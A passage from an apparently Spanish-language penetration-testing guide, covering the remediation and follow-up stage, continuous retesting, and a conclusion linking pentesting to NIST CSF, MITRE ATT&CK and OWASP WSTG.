  • Remediación y Seguimiento (Remediation and Follow-Up): La remediación es el proceso de corregir las vulnerabilidades descubiertas en el pentest. No es una tarea trivial y requiere planificación, coordinación y ejecución cuidadosas.

    • Pasos de Remediación:

      • Priorizar Vulnerabilidades: Basarse en la severidad y el impacto (ej., utilizando CVSS) para decidir qué vulnerabilidades abordar primero. Las vulnerabilidades con una puntuación de 7 o superior se consideran de alto riesgo y deben corregirse lo antes posible.

      • Asignar Responsabilidades: Designar a las partes relevantes (desarrolladores, personal de TI, proveedores externos) para corregir las vulnerabilidades y comunicar los objetivos, el alcance y el cronograma de la remediación.

      • Implementar Recomendaciones: Seguir los pasos de remediación y las mejores prácticas sugeridas en el informe de pentesting.

      • Verificar y Validar la Remediación: Realizar una re-prueba o un pentest de seguimiento para confirmar que las vulnerabilidades se han resuelto y que el sistema es seguro y cumple con los requisitos.

  • Mejora Continua (Continuous Improvement): El pentesting no es un evento único, sino un componente de un ciclo de seguridad continuo. Las pruebas regulares (semestrales o anuales) y después de cambios significativos en la infraestructura son esenciales para detectar nuevas vulnerabilidades y asegurar que las defensas se mantengan fuertes frente a la evolución de las amenazas. Esto incluye monitorear la actividad del pentesting para evaluar la efectividad de las soluciones IDS/IPS y aumentar la conciencia sobre técnicas avanzadas.

Conclusiones

https://cybermap.kaspersky.com/es

El pentesting es una inversión estratégica indispensable para cualquier organización comprometida con su ciberseguridad. Va más allá de una simple auditoría, ofreciendo una simulación realista de ataques que revela vulnerabilidades en un contexto operativo. La integración del pentesting con marcos robustos como NIST CSF, MITRE ATT&CK y OWASP WSTG transforma una actividad táctica en un pilar estratégico para la gobernanza de la ciberseguridad. Estos marcos proporcionan la estructura y la inteligencia necesarias para que las pruebas no solo identifiquen fallos, sino que también validen la efectividad de los controles, informen la toma de decisiones basada en el riesgo y guíen la mejora continua de la postura de seguridad.

Las siete etapas detalladas del pentesting, desde la meticulosa fase de pre-engagement que establece los límites legales y éticos, hasta la exhaustiva recopilación de información que minimiza la detección, la evaluación de vulnerabilidades que combina la automatización con la pericia humana, y la explotación que demuestra el impacto real, son fundamentales. Las fases posteriores de post-explotación y movimiento lateral son cruciales para comprender el verdadero alcance de una brecha, mientras que la fase final de post-engagement, con su enfoque en informes detallados, limpieza rigurosa y remediación proactiva, cierra el ciclo de seguridad.

En última instancia, el valor del pentesting reside en su capacidad para proporcionar evidencia empírica de las debilidades de seguridad, lo que permite a las organizaciones priorizar las acciones de remediación de manera efectiva y asignar recursos de manera inteligente. Al adoptar un enfoque continuo y estratégico del pentesting, las empresas pueden anticipar y mitigar las amenazas más relevantes, fortaleciendo su resiliencia cibernética y salvaguardando sus activos críticos en un panorama de amenazas en constante evolución.

Last updated